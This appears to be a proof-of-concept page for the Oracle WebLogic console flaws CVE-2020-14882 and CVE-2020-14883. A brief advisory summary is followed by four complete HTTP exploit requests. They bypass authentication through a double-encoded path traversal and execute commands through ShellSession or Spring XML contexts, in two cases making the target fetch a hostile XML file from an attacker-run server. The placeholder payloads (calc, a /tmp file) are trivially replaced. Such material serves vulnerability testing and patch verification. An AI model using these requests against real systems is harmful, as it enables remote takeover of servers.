/CVE-2020-14883

[CVE-2020-14882] Oracle WebLogic Server Authenticated Remote Code Execution (RCE)

[CVE-2020-14883] Oracle WebLogic Server Authenticated Remote Code Execution (RCE)


Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server

Proof of Concept (PoC) 1: using tangosol.coherence.mvel2.sh.ShellSession() for Windows-based targets

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");

Proof of Concept (PoC) 2: using tangosol.coherence.mvel2.sh.ShellSession() for Linux-based targets

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/CVE-2020-14883.txt');")

Proof of Concept (PoC) 3: using com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext for Windows-based targets

Content of poc.xml file

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd</value>
                <value>/c</value>
                <value>
                    <![CDATA[calc]]>
                </value>
            </list>
        </constructor-arg>
    </bean>
</beans>
  • Run http server as python3 -m http.server 7575
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://yourserver:7575/poc.xml")

Proof of Concept (PoC) 4: using com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext for Windows-based targets

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://yourserver:7575/poc.xml")